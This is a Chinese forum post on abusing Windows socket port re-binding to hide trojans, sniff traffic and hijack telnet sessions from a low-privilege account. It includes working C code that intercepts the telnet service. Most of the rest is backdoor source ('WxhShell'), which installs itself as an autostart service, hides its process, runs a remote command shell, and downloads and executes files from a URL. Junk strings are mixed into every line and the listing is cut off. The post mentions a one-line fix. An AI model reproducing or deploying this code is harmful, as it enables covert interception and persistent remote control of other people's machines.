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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: RoGwK*j0+  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LUX*P7*B  
PxS4,`#~  
  saddr.sin_family = AF_INET; BQH}6ueZ  
?S$i?\Qh  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^O(=Vry  
zq+o+o>xo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); XW{>-PBg:  
jHXwOJq %  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 CI U1R;  
G7!W{;@I  
  这意味着什么?意味着可以进行如下的攻击: zmj"fN{\  
,GWNL m\5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )SryDRT  
.MQ^(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OU5*9_7.  
m7EcnQf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WQ yLf;!Lz  
r(d':LV  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  tCxF~L@  
oi}i\: hI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \`V;z~@iA  
WE]e m >  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vAY,E=&XvM  
1I@8A>2^OX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 s,#>m*Rh  
'lHdOG  
  #include niB `2 J  
  #include V%$/#sza  
  #include I>L-1o|^  
  #include    2'=T[<nNB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   qC F5~;7  
  int main() R.=}@oPb  
  { @(r /dZc  
  WORD wVersionRequested; L "sO+4w  
  DWORD ret; *m?/O} R  
  WSADATA wsaData;  V#VN %{  
  BOOL val; 45hF`b>%,  
  SOCKADDR_IN saddr; McB[|PmC  
  SOCKADDR_IN scaddr; N F)~W#  
  int err; YPHS 1E?  
  SOCKET s; N('&jHF  
  SOCKET sc; D!7`CH+  
  int caddsize; ]_N|L|]M  
  HANDLE mt; 6{ =\7AY  
  DWORD tid;   [eTSZjIN7  
  wVersionRequested = MAKEWORD( 2, 2 ); U&O: _>~  
  err = WSAStartup( wVersionRequested, &wsaData ); O/[cpRe  
  if ( err != 0 ) { '7O3/GDK  
  printf("error!WSAStartup failed!\n"); H;RwO@v  
  return -1; 9a8cRt6knO  
  } ,v"YqD+GC5  
  saddr.sin_family = AF_INET; *}P~P$q%  
   -'6Dg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 21"1NJzP  
|1j["u1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3Z1CWzq(  
  saddr.sin_port = htons(23); Y]&j,j&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K6R.@BMN  
  { >y"+ -7V)  
  printf("error!socket failed!\n"); P&f7@MOV.P  
  return -1; -B +4+&{T  
  } \ Yx/(e  
  val = TRUE; !r<pmr3f@7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s0vDHkf8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Yw- G'  
  { {;2PL^i  
  printf("error!setsockopt failed!\n"); n rjE.+v  
  return -1; >7 ="8  
  } 5 sX+~Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; B6={&7U2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |:gf lseE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *WuID2cOI  
?32&]iM oW  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 'tH_p  
  { V-BiF>+  
  ret=GetLastError(); 9iQq.$A.  
  printf("error!bind failed!\n"); J\b^)  
  return -1; YuO.yh_  
  } 5?x>9C a  
  listen(s,2); x<ZJb  
  while(1) VXwU?_4J.  
  { K|[*t~59  
  caddsize = sizeof(scaddr); lN Yt`xp  
  //接受连接请求 X9V*UXTc  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9w7n1k.  
  if(sc!=INVALID_SOCKET) 4\iOeZRf  
  { dl.p\t(1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fumm<:<CLO  
  if(mt==NULL) Jcd-  
  { =c\>(2D  
  printf("Thread Creat Failed!\n"); ``hf=`We  
  break; |Y ,b?*UF  
  } &OH={Au  
  } m+]K;}.}R  
  CloseHandle(mt); {'NvG  
  } , s"^kFl  
  closesocket(s); sYI-5D]  
  WSACleanup(); 0Qf,@^zL*  
  return 0; rX2.i7i,  
  }   "ut39si  
  DWORD WINAPI ClientThread(LPVOID lpParam) _l8 9  
  { I&x=;   
  SOCKET ss = (SOCKET)lpParam; 6a~|K-a6  
  SOCKET sc; p8Qk 'F=h  
  unsigned char buf[4096]; 'a@/vx&J  
  SOCKADDR_IN saddr; V_.5b&@  
  long num; |ATvS2  
  DWORD val; 8p 'L#Q.  
  DWORD ret; *0Skd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L>Fa^jq5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   h-`?{k&e  
  saddr.sin_family = AF_INET; oqO(PU  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ;n*.W|Uph  
  saddr.sin_port = htons(23); d:C'H8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vXrx{5gz  
  { y51e%n$  
  printf("error!socket failed!\n"); {k TE He  
  return -1; dO! kk"qn  
  } $ r@zs'N  
  val = 100; ; F"g$_D0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <lPm1/8  
  { JcsHt;  
  ret = GetLastError(); 0d)M\lG  
  return -1; 61C7.EZZ;  
  } Rq'S>#e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Ei#q+7  
  { |6sp/38#p  
  ret = GetLastError(); X!TpYUZ '  
  return -1; O:;w3u7;u  
  } /K@XzwM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @zW]2 c  
  { O`IQ(,yef  
  printf("error!socket connect failed!\n"); uP)'FI  
  closesocket(sc); 4yy>jXDG  
  closesocket(ss); S6Q  
  return -1; 2j [=\K]  
  } c<:-T  
  while(1) ~ D j8 z+^  
  { n,y ZRY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^eY!U%.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M6 "PX *K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &AeX   
  num = recv(ss,buf,4096,0); iy.p n  
  if(num>0) >C>.\  
  send(sc,buf,num,0); {H>gtpVy  
  else if(num==0) o q Xg  
  break; K<3A1'_  
  num = recv(sc,buf,4096,0); l ^0@86  
  if(num>0) ,q`\\d  
  send(ss,buf,num,0); #CTE-W"|HE  
  else if(num==0) PJ|P1O36a  
  break; T4Uev*A  
  } cA?W7D  
  closesocket(ss); oWT3apGO  
  closesocket(sc); IVY]EkEG~  
  return 0 ; I^-Sb=j?Z  
  }  ?(1 y  
76{G'}B  
-$ls(oot  
========================================================== (=AWOU+  
ASA,{w]  
下边附上一个代码,,WXhSHELL 9s q  
l_d5oAh   
========================================================== `4J$Et%S  
$ bR~+C  
#include "stdafx.h" x=P\qjSa  
Se}c[|8  
#include <stdio.h> 97*p+T<yp  
#include <string.h> Ax7[;|2  
#include <windows.h> S9y}  
#include <winsock2.h> 0v?"t OT!  
#include <winsvc.h> +mj y<~\  
#include <urlmon.h> 4xje$/_d  
Q Z  
#pragma comment (lib, "Ws2_32.lib") i-_mTY&M  
#pragma comment (lib, "urlmon.lib") N =}A Z{$  
I+!0O  
#define MAX_USER   100 // 最大客户端连接数 E{`fF8]K  
#define BUF_SOCK   200 // sock buffer f}P3O3Yv&  
#define KEY_BUFF   255 // 输入 buffer K+3=tk]W9u  
jV1.Yz (`  
#define REBOOT     0   // 重启 X.{S*E:$u  
#define SHUTDOWN   1   // 关机 tS=(}2Q  
.Yn_*L+4*  
#define DEF_PORT   5000 // 监听端口 SY\ gXO8k  
{4Cmu;u  
#define REG_LEN     16   // 注册表键长度 8cIKvHx  
#define SVC_LEN     80   // NT服务名长度 1>h]{%I  
@qAS*3j  
// 从dll定义API f2`2,?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); S4z;7z(8+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %P|/A+Mg"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  ZBp/sm  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hHnYtq  
7Ak6,BuI%  
// wxhshell配置信息 on `3&0,.  
struct WSCFG { )3EY;  
  int ws_port;         // 监听端口 xi}skA  
  char ws_passstr[REG_LEN]; // 口令 rjYJs*#  
  int ws_autoins;       // 安装标记, 1=yes 0=no !%c\N8<>GD  
  char ws_regname[REG_LEN]; // 注册表键名 ukyZes8o K  
  char ws_svcname[REG_LEN]; // 服务名 Tyx_/pJT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p<"mt]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 X l5 A 'h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M .mfw#*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #@Jq~$N|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tG a8W  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 cVF "!.  
&Z%?!.4j@  
}; 3a'<*v<xw  
wb l&  
// default Wxhshell configuration ud('0 r',D  
struct WSCFG wscfg={DEF_PORT, Y$@?.)tY  
    "xuhuanlingzhe", X'iWJ8  
    1, }BP;1y6-r  
    "Wxhshell", <)D$51 &0  
    "Wxhshell", Ysv" 6b}  
            "WxhShell Service", }qD\0+`qi  
    "Wrsky Windows CmdShell Service", N(yz k_~  
    "Please Input Your Password: ", S)@j6(HC4  
  1, `;egv*!P  
  "http://www.wrsky.com/wxhshell.exe", 61U09s%\0  
  "Wxhshell.exe" WH^%:4  
    }; o`-msz  
Y.p;1"  
// 消息定义模块 =rdV ]{Wc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6D3B^.r j]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u>vL/nI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #%O0[kd  
char *msg_ws_ext="\n\rExit."; )8ZH-|N`!E  
char *msg_ws_end="\n\rQuit."; h/Y'<:  
char *msg_ws_boot="\n\rReboot..."; |vj/Wwr  
char *msg_ws_poff="\n\rShutdown..."; 1?l1:}^L  
char *msg_ws_down="\n\rSave to "; pMM8-R'W-  
"3J}b?u_[  
char *msg_ws_err="\n\rErr!"; 4#Jg9o   
char *msg_ws_ok="\n\rOK!"; oQJtUP%  
x]j W<A  
char ExeFile[MAX_PATH]; cFXp  
int nUser = 0; x kD6Iw  
HANDLE handles[MAX_USER]; 2&cT~ZX&'  
int OsIsNt; f _:A0  
<1TAw.  
SERVICE_STATUS       serviceStatus; -mh3DhJ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; cU  
}x ,S%M-  
// 函数声明 |Y.?_lC  
int Install(void);  Nz-&MS  
int Uninstall(void); {n=|Db~S  
int DownloadFile(char *sURL, SOCKET wsh); uXiN~j &Be  
int Boot(int flag); k;Y5BB  
void HideProc(void); `WS&rmq&'  
int GetOsVer(void); |N]XJ)?  
int Wxhshell(SOCKET wsl); &7s.`  
void TalkWithClient(void *cs); dc'Y `e  
int CmdShell(SOCKET sock); +ZX{>:vo   
int StartFromService(void); MHwIA*R  
int StartWxhshell(LPSTR lpCmdLine); %z$#6?OK^  
_#8MkW#]~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o+VQ\1as?(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?V=CB,^  
J[kTlHMD  
// 数据结构和表定义 y1#1Ne_  
SERVICE_TABLE_ENTRY DispatchTable[] = $:^td/p J  
{ bI`g|v  
{wscfg.ws_svcname, NTServiceMain}, !5N.B|N t  
{NULL, NULL} +w~oH=  
}; _e2=ado  
(h `V+  
// 自我安装 ;FEqe 49  
int Install(void) moE2G?R  
{ HbIF^LeY|R  
  char svExeFile[MAX_PATH]; Vt ohL+  
  HKEY key; Fj!U|l\_9  
  strcpy(svExeFile,ExeFile); X wtqi@zlE  
)M^ gT}M  
// 如果是win9x系统,修改注册表设为自启动 H"F29Pu2  
if(!OsIsNt) { (V@HR9?W)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |[y6Ua0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yr|4Fl~U  
  RegCloseKey(key); 7-A2_!_x{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C9;kpqNG#u  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d d;T-wa}  
  RegCloseKey(key); 5LMw?P.<  
  return 0; Q59W#e)  
    } 6H|S;K+  
  } wKHBAW[i]  
} #A.@i+Zv  
else { M3Kfd  
&m vSiyKX  
// 如果是NT以上系统,安装为系统服务 XX~,>Q}H=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )`}:8y?  
if (schSCManager!=0) ,+ ~W4<f  
{ :hA#m[  
  SC_HANDLE schService = CreateService y?# Loe  
  ( OrG).^l  
  schSCManager, -{A<.a3P}=  
  wscfg.ws_svcname, {>;R?TG]$  
  wscfg.ws_svcdisp, H)&R=s  
  SERVICE_ALL_ACCESS, %>s |j'{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w#J2 wS  
  SERVICE_AUTO_START, h7@6T+#WoT  
  SERVICE_ERROR_NORMAL, K+iP 6B  
  svExeFile, "w _aM7x_  
  NULL, H[|~/0?K  
  NULL, |nF8gh~}  
  NULL, B1Oq!k  
  NULL, <\FH fE  
  NULL LHmZxi?  
  ); ^}C\zW  
  if (schService!=0) M:V_/@W.  
  { "I TIhnE  
  CloseServiceHandle(schService); "h ^Z  
  CloseServiceHandle(schSCManager); 4/)k)gLI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tI{_y  
  strcat(svExeFile,wscfg.ws_svcname); IM+ o.@f-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y3ikWnx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); O1kl70,`R  
  RegCloseKey(key); lys#G:H]  
  return 0; cGD(.=  
    } Vq2$'lY  
  } Xm 2'6f,  
  CloseServiceHandle(schSCManager); {_dvx*M  
} 0?M:6zf_iv  
} Xry4 7a )  
{ BHO/q3  
return 1; .{KVMc  
} } d }lR  
v9UD%@tZ  
// 自我卸载 {}x^ri~  
int Uninstall(void) C8\^#5  
{ fxIf|9Qi`  
  HKEY key; E.>4C[O  
c0fo7|  
if(!OsIsNt) { m#F`] {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k$7Jj-+~  
  RegDeleteValue(key,wscfg.ws_regname); VD\=`r)nT  
  RegCloseKey(key); cs'{5!i]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YgoBHE0#  
  RegDeleteValue(key,wscfg.ws_regname); a@*\o+Su  
  RegCloseKey(key); Xs?o{]Fe  
  return 0; C6y&#uX\  
  } $tS}LN_!  
} ]$_NyAoBb  
} ]g&TKm  
else { GM<-&s!Uj  
N.{D$"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); alvrh'51  
if (schSCManager!=0) vZoaT|3 G]  
{ veh<R]U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "w.3Q96r  
  if (schService!=0) xZv#Es%#  
  { YUIi;  
  if(DeleteService(schService)!=0) { VU d\QR-  
  CloseServiceHandle(schService); Wiu"k%Qsh  
  CloseServiceHandle(schSCManager); '6Q =#:mc\  
  return 0; uR r o?m<  
  } Ez=Olbk  
  CloseServiceHandle(schService); {!dVDf_  
  } :Z z '1C  
  CloseServiceHandle(schSCManager); C 6AUNRpl  
} xUistwq  
} w*JGUk  
b%/ 1$>_  
return 1; #ucBo<[  
} & 9 ?\b7  
;BIY^6,7e  
// 从指定url下载文件 qm o9G  
int DownloadFile(char *sURL, SOCKET wsh) 0=E]cQwh  
{ J~UuS+Ufv  
  HRESULT hr; l2P=R)@{  
char seps[]= "/";  'CkIz"Wd  
char *token; $'hEz/  
char *file; n#OB%@]<V  
char myURL[MAX_PATH]; %Qdn  
char myFILE[MAX_PATH]; q(2'\ _`u  
)f<z% :I+Z  
strcpy(myURL,sURL); 8q}q{8  
  token=strtok(myURL,seps); C&rkvM8  
  while(token!=NULL) _t #k,;  
  { <3C*Z"aQ>|  
    file=token; ? '{SX9  
  token=strtok(NULL,seps); tHwMX1 IG  
  } <;Zmjeb+#  
<T|3`#o0  
GetCurrentDirectory(MAX_PATH,myFILE); &AbNWtCV+G  
strcat(myFILE, "\\"); hp-<2i^"!  
strcat(myFILE, file); (S\[Y9  
  send(wsh,myFILE,strlen(myFILE),0); >_"an~Ss  
send(wsh,"...",3,0); e [mm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k5.Lna  
  if(hr==S_OK) Ks`J([(W&  
return 0; O*)Vhw'pK  
else .MoU1n{Yc  
return 1; R3&Iu=g  
WuUk9_ g  
} 65$+{s  
4-H+vNG{%  
// 系统电源模块 JNXq.;:`Q  
int Boot(int flag) /zVOK4BqN+  
{ 0Y{yKL  
  HANDLE hToken; } .m<  
  TOKEN_PRIVILEGES tkp; Jgd'1'FOs  
dV$gB<iS  
  if(OsIsNt) { 9} M?P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9u}Hmb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HjD8u`qQ  
    tkp.PrivilegeCount = 1; 0 e ~JMUb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ""F5z,'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;d"F%M y  
if(flag==REBOOT) { RF4vtQC=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PB`Y g  
  return 0; MSqVlj  
} n QZwC  
else { FX`>J6l:X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `yXg{lk  
  return 0; {|_M # w~&  
} O-GJ-  
  } })8N5C+KU  
  else { s;Z\Io  
if(flag==REBOOT) { zFw s:_ i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cyv`B3}  
  return 0; j0S# >t  
} =llvuUd\n  
else { A_ N;   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?; +1)>{  
  return 0; #;q dY[v  
} g:D>.lKd  
} wyj{zWRJp  
OXSmt DvJ  
return 1; 0g y/:T  
} bvr^zH,C  
T?soJ]A  
// win9x进程隐藏模块 JG!mc7  
void HideProc(void) q`H_M{26!y  
{ R_ ,UMt  
m}aB?+i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); so)[59M7  
  if ( hKernel != NULL ) w QH<gJE/:  
  { k,E{C{^M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )72+\C[*~r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3kIN~/<R+7  
    FreeLibrary(hKernel); "9P>a=Y  
  } # 448-8x  
B^Nf #XN(  
return; lhz{1P]s  
} YpZ+n*&+  
F2dHH^  
// 获取操作系统版本 O=&0H|B  
int GetOsVer(void) 7>|J8*/Nd  
{ 4(~L#}:r!  
  OSVERSIONINFO winfo; I<4Pur>"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3yY}04[9<  
  GetVersionEx(&winfo); $L>@Ed<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |`Ntv }  
  return 1; tl4V7!U@^z  
  else YTX,cj#D^&  
  return 0; ICoHI  
} dh*ZKI^@(  
5C*Pd Wpl  
// 客户端句柄模块 eV"h0_ox  
int Wxhshell(SOCKET wsl)  u\x}8pn  
{ Xy&A~F  
  SOCKET wsh; Ar|0b}=)>  
  struct sockaddr_in client; /y#f3r+*2  
  DWORD myID; Gg3,:A_ w  
C'@i/+  
  while(nUser<MAX_USER) r CHl?J  
{ BB$>h}  
  int nSize=sizeof(client); -.@r#d/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u+e{Mim  
  if(wsh==INVALID_SOCKET) return 1; He/8=$c%  
]^n7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fZzoAzfv2  
if(handles[nUser]==0) PbgP\JeX  
  closesocket(wsh); C8:f_mJU  
else Nk 8B_{  
  nUser++; Yty/3T3)e  
  } 4 Y9`IgQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4*#18<u5  
kT66;Y[  
  return 0; 7P5)Z-K[  
} _LUhZlw  
b-?gw64#  
// 关闭 socket UiP"Ixg6  
void CloseIt(SOCKET wsh) 4Zddw0|2  
{ { Fb*&|-n  
closesocket(wsh); x8\?}UnB  
nUser--; qzLPw*;  
ExitThread(0); ~i{(<.he  
} 9@:2wR |  
)Y0!~# `  
// 客户端请求句柄 =tn)}Y.<e  
void TalkWithClient(void *cs) J26 VnK  
{ 1..+F0U  
KVaiugQ   
  SOCKET wsh=(SOCKET)cs; |?xN\O^#}  
  char pwd[SVC_LEN]; oj<gD  
  char cmd[KEY_BUFF]; 8)3*6+D  
char chr[1]; o#gWbAG;]b  
int i,j; \<>ih)J@tt  
E\EsWb  
  while (nUser < MAX_USER) { uEP*iPLD@  
,0Hr2*p  
if(wscfg.ws_passstr) { }W8;=$jr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Uo&d#o)C-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7`Ak) F:V  
  //ZeroMemory(pwd,KEY_BUFF); gp?uHKsM  
      i=0; 1D7 `YKI9h  
  while(i<SVC_LEN) { fu ,}1Mq#  
1{. |+S Z!  
  // 设置超时  vF+7V*<  
  fd_set FdRead; 0<@KG8@hI;  
  struct timeval TimeOut; n\'4  
  FD_ZERO(&FdRead); xn(kKB.  
  FD_SET(wsh,&FdRead); 7"x;~X  
  TimeOut.tv_sec=8; 6l1jMm|= X  
  TimeOut.tv_usec=0; pRpBhm;iJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hH 3RP{'=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s`8= 3]w  
!hy-L_wL]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Lv7(st%`  
  pwd=chr[0]; H@>` F  
  if(chr[0]==0xd || chr[0]==0xa) { 2- h{N  
  pwd=0; #A/  
  break; TDjm2R~9FS  
  } C2I_%nU Z1  
  i++; LL|r A:  
    } /Iokf@5  
k%#EEMh  
  // 如果是非法用户,关闭 socket 1(R}tRR7R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u4?L 67x  
} Y\P8 v  
exUFS5d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MKk\ u9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?e4YGOe.  
ksUcx4;a@F  
while(1) { 4k1xy##  
lfgq=8d  
  ZeroMemory(cmd,KEY_BUFF); Mb}QD~=M  
:eCwY  
      // 自动支持客户端 telnet标准   *:7rdzn  
  j=0; O 8r|8]o  
  while(j<KEY_BUFF) { f'RX6$}\1X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `/+>a8  
  cmd[j]=chr[0]; u c)eil  
  if(chr[0]==0xa || chr[0]==0xd) { Gb6'n$g  
  cmd[j]=0; Q3~H{)[Kq  
  break; 2l'6.  
  } ;H*T^0  
  j++; T?0eVvM  
    } _jVN&\A]mC  
F/{!tx  
  // 下载文件 ?l{nk5,?-Y  
  if(strstr(cmd,"http://")) { 2]*OQb#O6e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1CZgb   
  if(DownloadFile(cmd,wsh)) 9cF[seE"0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^^$s%{ep"  
  else q3!bky\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tcI*a>  
  } LH% F 8  
  else { bAqA1y3=  
+O{*M9 B  
    switch(cmd[0]) { wwZ,;\  
  C,r;VyW6BI  
  // 帮助 03Ycf'W  
  case '?': { {VRf0c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); tyFzSrfc  
    break; Lqa4Vi  
  } k4J+J.|  
  // 安装 6bC3O4Rw  
  case 'i': { r,p%U!S<hV  
    if(Install()) 8nV+e~-w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a1lh-2x X  
    else l ymCH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Fl9>C"u  
    break; }Sv:`9=  
    } :"c*s4  
  // 卸载 PJH&  
  case 'r': { 8l`*]1.W<  
    if(Uninstall()) ON(kt3.h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wmLs/:~  
    else Dp9+HA9t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q/,O\,  
    break; B]tQ(s~  
    } e\L8oOk#r  
  // 显示 wxhshell 所在路径 6i/(5 nQ  
  case 'p': { t{{QE:/  
    char svExeFile[MAX_PATH]; 4V`G,W4^J  
    strcpy(svExeFile,"\n\r"); rey!{3U  
      strcat(svExeFile,ExeFile); @o`AmC . 8  
        send(wsh,svExeFile,strlen(svExeFile),0); Km$\:Xo  
    break; JWxwJex  
    } NzvXN1_%  
  // 重启 dy[X3jQB  
  case 'b': { [7y]n;Fy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #H~64/  
    if(Boot(REBOOT)) J|73.&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3JR+O <3D  
    else { ;$g?T~v7  
    closesocket(wsh); eHUOU>&P]  
    ExitThread(0); M o|2}nf  
    } Z% UP6%  
    break; p!%pP}I  
    } Q~9^{sHZjP  
  // 关机 YoFxW5by  
  case 'd': { )^hbsMhO  
